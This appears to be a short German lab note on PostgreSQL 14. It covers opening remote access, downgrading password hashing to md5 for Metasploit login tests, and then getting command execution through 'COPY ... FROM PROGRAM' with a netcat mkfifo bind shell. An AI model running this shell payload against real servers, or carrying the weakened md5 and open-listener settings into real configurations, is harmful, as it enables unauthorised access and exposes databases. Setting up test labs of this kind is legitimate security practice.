Konfiguration¶
Remote Access ermöglichen¶
- /etc/postgresql/14/main/postgresql.conf
- # Listen Adresse auf alle Interfaces setzen
listen_addresses = ‚*‘
# password_encryption password_encryption = md5 # scram-sha-256 or md5
Password Encryption sollte man auf dem default-Wert „scram-sha-256“ lassen. Für metasploit Tests kann man das auf md5 setzen. Wenn vorher aber User/Role mit scram-sha-256 angelegt wurden, sind die Passwörter mit dem Verfahren verschlüsselt worden. Daher muss man die Passwörter neu vergeben, ansonsten liefert Metasploit folgende Fehlermeldung beim exploit „scanner/postgres/postgres_login“
[-] <IP>:5432 - LOGIN FAILED: admin:admin@mydb (Incorrect: unknown auth type '10' with buffer content: 52 00 00 00 17 00 00 00 0a 53 43 52 41 4d 2d 53 |R........SCRAM-S| 48 41 2d 32 35 36 00 00 |HA-256..|
/etc/postgresql/14/main/pg_hba.conf
- # Netzwerkbereich zulassen, der zugreifen darf
host all all <IP Netz>/24 md5
systemctl restart postgresql
lsof -i:5432
less /var/log/postgresql/postgresql-14-main.log
psql -h <IP> -p 5432 -d <DB> -U <user> -W
Command Execution with COPY Command¶
Quelle: https://medium.com/r3d-buck3t/command-execution-with-postgresql-copy-command-a79aef9c2767
In diesem Szenario erfolgt eine remote Anmeldung an die postgres-Datenbank; es wird ein Listener eingerichtet, um beliebige Befehle auf dem Zielhost abzusetzen.
Anmelden an Datenbanken mit Admin-User:
psql -h <Zielhost> -U <User> -d <Datenbank> -W
Remote Listener einrichten:
COPY shell FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc -l <Zielhost> <PORT> > /tmp/f';
in einer neuen Shell können dann bash Befehle abgesetzt werden:
nc <Zielhost> <PORT>
Befehle werden im Kontext des postgres-Serverprocesses ausgeführt.
Zurück zu Konfiguration